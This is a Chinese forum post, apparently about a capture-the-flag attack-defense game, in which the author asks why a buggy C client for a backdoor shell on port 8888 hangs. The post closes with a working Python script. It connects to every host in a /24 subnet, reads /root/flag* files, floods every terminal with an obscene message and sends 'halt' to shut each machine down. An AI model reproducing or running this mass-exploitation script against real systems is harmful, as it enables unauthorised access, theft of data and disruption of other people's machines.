继上一篇https://www.52pojie.cn/thread-1395628-1-1.html 问题解决后
又继续折腾 又出毛病了 又给我整懵逼了
起因:
在上一篇把代码看懂后又继续折腾 就不想用nc连接端口 想自己用c写一个 然后 就懵逼了..... 不知道怎么写 就试着写了一下
代码:
[C] 纯文本查看 复制代码 #include <sys/socket.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdio.h>
int main(){
int sock;
struct sockaddr_in serv_addr;
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(8888);
serv_addr.sin_addr.s_addr = 0;
sock = socket(AF_INET,SOCK_STREAM,0);
connect(sock,(struct sockaddr*)&serv_addr,sizeof(serv_addr)); // 连接8888端口
char *i_buffer = "ls"; //要执行的命令
char *o_buffer[1024];
write(sock,i_buffer,sizeof(i_buffer));
read(sock,o_buffer,sizeof(o_buffer));
printf("%s",*o_buffer);
}
然后运行之后就卡在这里没动了...
然后用wireshark分析了下数据包 发现 我自己用c写的数据包是这样:
后面多了个%s 不知道是个什么鬼
然后再看了看用nc连接的
没有这个%s
然后....就没有然后了.....
用python写了一个可以使用,但c就懵逼呀,求大佬指点一下
[Python] 纯文本查看 复制代码 import socket
import time
from threading import Thread
def u(ip):
s=socket.socket()
try:
s.connect((ip,8888))
s.send(b'cat /root/flag*\n')
a=s.recv(1025)
print(ip,a)
time.sleep(2)
s.send(b'echo '+ b'fuck '*30+b' > /dev/pts/*\n')
time.sleep(2)
s.send(b'halt\n')
except:
pass
for i in range(1,254):
ip = "172.16.1."+str(i)
Thread(target=u,args=(ip,)).start()
|